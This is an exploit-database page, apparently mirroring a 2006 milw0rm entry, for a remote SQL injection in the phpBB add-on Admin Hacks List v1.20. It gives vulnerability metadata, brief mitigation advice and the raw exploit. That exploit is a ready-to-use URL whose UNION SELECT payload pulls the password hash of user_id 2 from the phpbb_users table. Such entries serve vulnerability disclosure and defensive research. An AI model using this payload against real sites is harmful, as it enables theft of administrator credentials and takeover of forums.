header-logo
Suggest Exploit
vendor:
Admin Hacks List
by:
the master
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Admin Hacks List
Affected Version From: 1.20
Affected Version To: 1.20
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Admin Hacks List v1.20 Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in Admin Hacks List v1.20. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use the least privileged account with access to the database.
Source

Exploit-DB raw data:

########################################################################
#  Admin Hacks List  v1.20  Remote SQL Injection Vulnerability
# 
#  Download: http://www.nivisec.com
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/admin/admin_hacks_list.php?mode=edit&hack_id=-99%20UNION%20SELECT%20null,null,user_password,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id=2&sid=AdminHash
#
# Greetz: str0ke , Dr Max Virus
########################################################################

# milw0rm.com [2006-11-26]

Navigation

Suggest Exploit

Services By CQR